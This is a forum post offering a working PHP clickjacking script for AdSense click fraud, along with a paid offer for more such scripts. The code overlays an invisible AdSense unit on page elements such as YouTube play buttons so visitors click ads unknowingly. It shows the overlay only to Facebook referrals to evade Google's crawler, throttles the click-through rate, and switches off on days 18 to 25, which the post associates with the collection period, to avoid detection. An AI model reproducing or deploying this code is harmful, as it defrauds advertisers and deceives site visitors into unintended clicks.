03-02-2017, 09:32 PM
Hello here is a simple script to make the user click the google ad with control of CTR plus control of publication possible days of revision of our blogs.
It has two modes, one that the announcement we leave fixed in the area where we want, example: in the play of a video of youtube, and another one that when you scroll through the screen scrolls up and down the screen, for example on mobile always practically Will sting on the ad since the ad is the width of the mobile.
Regards!
To activate the script where it says "$ demo = false;" put "$ demo = true;"
Google bot cant detect it because the clickjack ad is showed to people from coming facebook only
P.s for added protection use it with Adsense Clickbomb plugin.
P.s use nonflotante with youtube videos so when users click play the ad will open in new window.
If anyone wants more adsense clickjack scripts PM (Youtube Player Ad Clickjack and A script like this but more simple and effective to use and Adsense Clickbomb Protect Plugin all for 50$)
Cheers
It has two modes, one that the announcement we leave fixed in the area where we want, example: in the play of a video of youtube, and another one that when you scroll through the screen scrolls up and down the screen, for example on mobile always practically Will sting on the ad since the ad is the width of the mobile.
Regards!
To activate the script where it says "$ demo = false;" put "$ demo = true;"
PHP Code:
<?php
// Disable all 3 conditions
$demo = true;
// Condition 1 - Show users coming from Facebook
$referer = $_SERVER['HTTP_REFERER'];
$referer=str_replace("http://", "", $referer);
$referer=str_replace("https://", "", $referer);
$referer=str_replace("www.", "", $referer);
$pieces2 = explode("/", $referer);
$referer=$pieces2[0];
if($referer == 'facebook.com') { $filtro1="si"; } else { $filtro1="no"; }
// Condition 2 - Control of CTR
if($filtro1=="si") {
$porcentaje = 100;
if(rand(0,100) <= $porcentaje){
$filtro2="si";
}else{
$filtro2="no";
}
}
// Condition 3 - Do not execute hidden script if days are close to the collection
if(($filtro1=="si") and& ($filtro2=="si")) {
$dia=date("d");
if(($dia=="18") ||
($dia=="19") ||
($dia=="20") ||
($dia=="21") ||
($dia=="22") ||
($dia=="23") ||
($dia=="24") ||
($dia=="25")) { $filtro3="no"; } else { $filtro3="si"; }
}
$codigoAdsense= '<script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
<!-- ************************* -->
<ins class="adsbygoogle"
style="display:inline-block;width:336px;height:280px"
data-ad-client="ca-pub-*************"
data-ad-slot="**************"></ins>
<script>
(adsbygoogle = window.adsbygoogle || []).push({});
</script>';
$estilo="<style>
#flotante {
width: 410px;
height: 310px;
top: 39%;
left: 22%;
position: fixed;
margin-left: -40px;
z-index:999;
opacity: 0;
}
</style>";
if(($filtro1=="si") and& ($filtro2=="si") and& ($filtro3=="si") || ( $demo == true )) {
echo $estilo;
echo "<div id=\"flotante\">";
echo $codigoAdsense;
echo "</div>";
echo "</div>";
} else {
} ?>
##Here I leave you another style that you should change to the upper style (changing the name from floating to floating if you want is that the hidden banner is fixed on the screen in a certain position (above the video) and not floating.
.noflotante{
position: absolute;
top: 100px;
text-align: center;
width:400px;
height: 600px;
margin: 15px 0 0 65px;
overflow: visible;
opacity: 0;
}
Google bot cant detect it because the clickjack ad is showed to people from coming facebook only
P.s for added protection use it with Adsense Clickbomb plugin.
P.s use nonflotante with youtube videos so when users click play the ad will open in new window.
If anyone wants more adsense clickjack scripts PM (Youtube Player Ad Clickjack and A script like this but more simple and effective to use and Adsense Clickbomb Protect Plugin all for 50$)
Cheers